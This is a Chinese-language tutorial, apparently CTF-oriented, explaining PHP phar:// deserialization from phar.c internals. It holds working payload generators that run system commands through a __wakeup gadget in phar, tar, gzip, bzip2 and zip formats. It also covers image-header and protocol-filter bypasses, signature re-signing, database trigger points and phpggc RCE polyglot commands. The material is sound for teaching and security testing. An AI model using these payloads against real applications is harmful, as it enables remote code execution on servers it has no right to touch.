phar 反序列化
php 一大部分的文件系统函数在通过 phar:// 伪协议解析 phar 文件时,都会将 meta-data 进行反序列化。具体在 phar.c 中进行实现.
phar.c 中的 phar_parse_metadata 函数在处理 phar 文件的 meta-data 时,会调用 php_var_unserialize 进行反序列化, phar 文件之所以可以触发反序列化的原因就在于此.
int phar_parse_metadata(char
**buffer, zval **metadata, php_uint32 zip_metadata_len TSRMLS_DC)
{
php_unserialize_data_t var_hash;
if (zip_metadata_len) {
...
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &
...))
return SUCCESS;
}
}
构造 payload 的几种方式
跟踪一个 phar 文件的解析流程可以归纳出如下的调用链:
phar_open_or_create_filename
-> phar_create_or_parse_filename
-> phar_open_from_fp
-> phar_parse_pharfile
-> phar_parse_metadata
-> phar_var_unserialize
其中 phar_open_from_fp 函数定义了将一个文件时别为 phar 文件的规则
static int phar_open_from_fp(php_stream* fp, char *fname, int fname_len, char *alias, int alias_len, int options, phar_archive_data** pphar, int is_data, char **error TSRMLS_DC)
{
const char token[] = "__HALT_COMPILER();";
const char zip_magic[] = "PK\x03\x04";
const char gz_magic[] = "\x1f\x8b\x08";
const char bz_magic[] = "BZh";
...
除了 token __HALT_COMPILER();
之外, php 还会将符合条件的 zip、gz、bz 文件时别为 phar 文件
if (!test) {
test = '\1';
pos = buffer+tokenlen;
if (!memcmp(pos, gz_magic, 3)) {
...
} else if (!memcmp(pos, bz_magic, 3)) {
...
}
if (!memcmp(pos, zip_magic, 4)) {
php_stream_seek(fp, 0, SEEK_END);
return phar_parse_zipfile(fp, fname, fname_len, alias, alias_len, pphar, error TSRMLS_CC);
}
if (got > 512) {
if (phar_is_tar(pos, fname)) {
php_stream_rewind(fp);
return phar_parse_tarfile(fp, fname, fname_len, alias, alias_len, pphar, is_data, compression, error TSRMLS_CC);
}
}
}
这一个特性可以绕过针对 __HALT_COMPILER();
的过滤, 构造 payload 的方式一共有以下几种, 因为 php 是根据 meta-data 来判断一个文件是否符合条件,因此所有类型的 payload 的后缀都可以进行更改,但不能没有后缀。
- phar 文件
- tar 文件
- bzip 文件
- gzip 文件
- zip 文件
注意 php 要想生成 phar 文件需要修改 php.ini 中的 readonly 为 Off
[Phar]
; http://php.net/phar.readonly
phar.readonly = Off
phar
生成一个最简单的 phar 文件,
gen.php
<?php
class Sink{
function __wakeup(){
system($this->cmd);
}
}
@unlink("test.phar");
$phar = new Phar("test.phar"); // 后缀名必须为 phar,生成之后可以修改
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub
$o = new Sink();
$o->cmd = "id";
$phar->setMetadata($o); // 将自定义的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
load.php
<?php
class Sink{
function __wakeup(){
system($this->cmd);
}
}
file_get_contents("phar://./test.phar");
tar
<?php
class Sink{
function __wakeup(){
system($this->cmd);
}
}
$o = new Sink();
$o->cmd = "id";
mkdir(".phar");
file_put_contents(".phar/.metadata",serialize($o));
file_put_contents("./test.txt","123");
system("tar -czf test2.phar .phar/.metadata ./test.txt");
system("rm -r .phar test.txt");
脚本会在当前目录生成 test2.phar
load.php
<?php
class Sink{
function __wakeup(){
system($this->cmd);
}
}
file_get_contents("phar://./test2.phar");
gzip
生成 phar 文件之后,再使用 gzip 进行压缩即可生成 payload.
root@ca2518a6ed32:/var/www/html# php gen.php
root@ca2518a6ed32:/var/www/html# cat test.phar
<?php __HALT_COMPILER(); ?>
X"O:4:"Sink":1:{s:3:"cmd";s:2:"id";test.txtt�]d
可以看到 phar 文件中是带有 __HALT_COMPILER 字符串的,一些题目会针对 __HALT_COMPILER 进行过滤,使用 gzip 压缩之后就没有 __HALT_COMPILER 字符串了。
root@ca2518a6ed32:/var/www/html# gzip test.phar
root@ca2518a6ed32:/var/www/html# cat test.phar.gz
�дV����````bA(�����V&VJ��y�JV�V��V�VJɹ)J��VFVJ�@F-PUIjq�
load.php
<?php
class Sink{
function __wakeup(){
system($this->cmd);
}
}
file_get_contents("phar://./test.phar.gz");
bzip
与 gzip 基本一致,生成 phar 文件之后,再使用 bzip2 进行压缩即可生成 payload.
bzip2 test.phar
php 中要读取 bzip2 文件需要安装 php-bz2 扩展。
load.php
<?php
class Sink{
function __wakeup(){
system($this->cmd);
}
}
file_get_contents("phar://./test.phar.bz2");
运行结果如下,可以看到成功反序列化。
root@b7678c131adb:/var/www/html# php load.php
PHP Deprecated: Directive 'track_errors' is deprecated in Unknown on line 0
Deprecated: Directive 'track_errors' is deprecated in Unknown on line 0
uid=0(root) gid=0(root) groups=0(root)
PHP Warning: file_get_contents(phar://./test.phar.bz2): failed to open stream: phar error: file "" in phar "./test.phar.bz2" cannot be empty in /var/www/html/load.php on line 12
PHP Stack trace:
PHP 1. {main}() /var/www/html/load.php:0
PHP 2. file_get_contents() /var/www/html/load.php:12
Warning: file_get_contents(phar://./test.phar.bz2): failed to open stream: phar error: file "" in phar "./test.phar.bz2" cannot be empty in /var/www/html/load.php on line 12
Call Stack:
0.0005 385696 1. {main}() /var/www/html/load.php:0
0.0005 385696 2. file_get_contents() /var/www/html/load.php:12
zip
如果我们将序列化的内容加入到 zip 文件的 comment 中,php 在解析这个 zip 文件时也会触发反序列化。
gen_zip_phar.zip
<?php
class Sink{
function __wakeup(){
system($this->cmd);
}
}
$o = new Sink();
$o->cmd = "id";
$phar_file = serialize($o);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('test.zip',ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($phar_file); // payload 添加到 zip file 的 comment 中
$zip->close();
几种关键词绕过手段
上传绕过:绕过图片格式校验
在一些需要先上传 phar 文件的场景中,题目可能对上传文件的文件头进行了图片校验,PHP 在解析 phar 时会在文件内查找 <?php __HALT_COMPILER(); ?>
这个标签,这个标签前面的内容可以为任意值, 因此就可以在 <?php __HALT_COMPILER(); ?>
前添加图片头
<?php
class Sink{
function __wakeup(){
system($this->cmd);
}
}
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new Sink();
$o->cmd = "id";
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
php 源码中的 image.c 对图片头进行了定义:
PHPAPI const char php_sig_gif[3] = {'G', 'I', 'F'};
PHPAPI const char php_sig_psd[4] = {'8', 'B', 'P', 'S'};
PHPAPI const char php_sig_bmp[2] = {'B', 'M'};
PHPAPI const char php_sig_swf[3] = {'F', 'W', 'S'};
PHPAPI const char php_sig_swc[3] = {'C', 'W', 'S'};
PHPAPI const char php_sig_jpg[3] = {(char) 0xff, (char) 0xd8, (char) 0xff};
PHPAPI const char php_sig_png[8] = {(char) 0x89, (char) 0x50, (char) 0x4e, (char) 0x47,
(char) 0x0d, (char) 0x0a, (char) 0x1a, (char) 0x0a};
PHPAPI const char php_sig_tif_ii[4] = {'I','I', (char)0x2A, (char)0x00};
PHPAPI const char php_sig_tif_mm[4] = {'M','M', (char)0x00, (char)0x2A};
PHPAPI const char php_sig_jpc[3] = {(char)0xff, (char)0x4f, (char)0xff};
PHPAPI const char php_sig_jp2[12] = {(char)0x00, (char)0x00, (char)0x00, (char)0x0c,
(char)0x6a, (char)0x50, (char)0x20, (char)0x20,
(char)0x0d, (char)0x0a, (char)0x87, (char)0x0a};
PHPAPI const char php_sig_iff[4] = {'F','O','R','M'};
PHPAPI const char php_sig_ico[4] = {(char)0x00, (char)0x00, (char)0x01, (char)0x00};
PHPAPI const char php_sig_riff[4] = {'R', 'I', 'F', 'F'};
PHPAPI const char php_sig_webp[4] = {'W', 'E', 'B', 'P'};
上传绕过:文件后缀
php 对于 phar 文件的识别依靠的是文件头的检查,因此后缀可以随便写。
phar:// 协议绕过
某些题目中限制了输入字符不能以 phar 开头,此时可以使用 compress.bzip2:// 和c ompress.zlib:// 等进行绕过:
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://./test.phar
load.php
class Sink{
function __wakeup(){
system($this->cmd);
}
}
file_get_contents("compress.bzip2://phar://./test.phar.bz2");
file_get_contents("compress.bzip2://phar://./test.zip");
file_get_contents("compress.bzip2://phar://./test.phar");
file_get_contents("compress.zlib://phar://./test.phar");
phar 签名修改
在生成最基本的 phar 文件时,我们构造 phar 对象时传入的是一个完整的对象。
$o = new Sink();
$o->cmd = "id";
$phar->setMetadata($o);
但某些情况下,我们可能需要修改序列化的内容,比如修改属性数量以绕过 __wakeup、破坏序列化结构触发 fast destruct 等。由于 phar 文件末尾带有签名,所以修改了文件内容之后需要对签名进行修改。
from hashlib import sha1
with open('phar.phar', 'rb') as file:
f = file.read() # 修改内容后的phar文件,以二进制文件形式打开
s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newPhar.phar', 'wb') as file:
file.write(newf) # 写入新文件
例题:NSSCTF Round#4 Team-1zweb(revenge)
当然,如果使用 tar 文件格式的话,序列化的内容是直接写在 .phar/.metadata 文件中的,因此在生成文件前修改序列化内容即可。
phar 反序列化触发点
基本文件操作
如下图所示,大多数的文件操作都会触发 phar 反序列化:
Postgresql
pgsqlCopyFromFile、pgsqlCopyToFile、pg_trace 都可以触发 phar 反序列化
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "test", "root", "root"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
Mysql
mysql 的 LOAD DATA LOCAL INFILE 语句也可以触发:
<?php
class TestObject {
function __destruct()
{
echo $this->data;
echo 'Destruct called';
}
}
// $filename = 'compress.zlib://phar://phar.phar/test.txt';
// file_get_contents($filename);
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'test', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' INTO TABLE users LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
?>
N1CTF2019 sql_manage 就是利用了这个特性将 mysql 服务端伪造与 phar 反序列化结合起来。大致步骤如下:
- 上传 phar 文件到服务端
- 启动恶意 mysql 服务,修改 mysql 服务配置,使得返回的文件名为 phar://./test.phar 这样的格式
- 使得客户端连接恶意 mysql 服务,触发 LOAD DATA LOCAL INFILE,进而触发反序列化。
phpggc 生成 phar
如果我们想使用 phpggc 中的利用链,除了将 phpggc 作为库包含进来再编写代码生成以外,phpggc 本身也支持了生成 phar 文件的功能,使用 phpggc -h 查看帮助信息,和 phar 相关的配置如下:
OUTPUT
-o, --output <file>
Outputs the payload to a file instead of standard output
PHAR
-p, --phar <tar|zip|phar>
Creates a PHAR file of the given format
-pj, --phar-jpeg <file>
Creates a polyglot JPEG/PHAR file from given image
-pp, --phar-prefix <file>
Sets the PHAR prefix as the contents of the given file.
Generally used with -p phar to control the beginning of the generated file.
-pf, --phar-filename <filename>
Defines the name of the file contained in the generated PHAR (default: test.txt)
- -p 参数可以指定生成 tar、zip、phar 的文件格式,配合 -o 参数可以输出到文件。
php phpggc -p phar -o test.phar Monolog/RCE6 system id php phpggc -p tar -o test.tar Monolog/RCE6 system id php phpggc -p zip -o test.zip Monolog/RCE6 system id
- -pj 参数生成 jpg, 需要给出一个 jpg 图片
php phpggc -pj example.jpg -o evil.jpg Monolog/RCE6 system whoami
- -pp 参数用于将指定的文件添加到 phar 文件的开头,因此可以用于绕过图片格式校验。
php phpggc -pp 1.gif -o evil.gif Monolog/RCE6 system whoami
- -pf 参数可以在 phar 文件中添加一个文件:
php phpggc -pf 1.txt -o evil.gif Monolog/RCE6 system whoami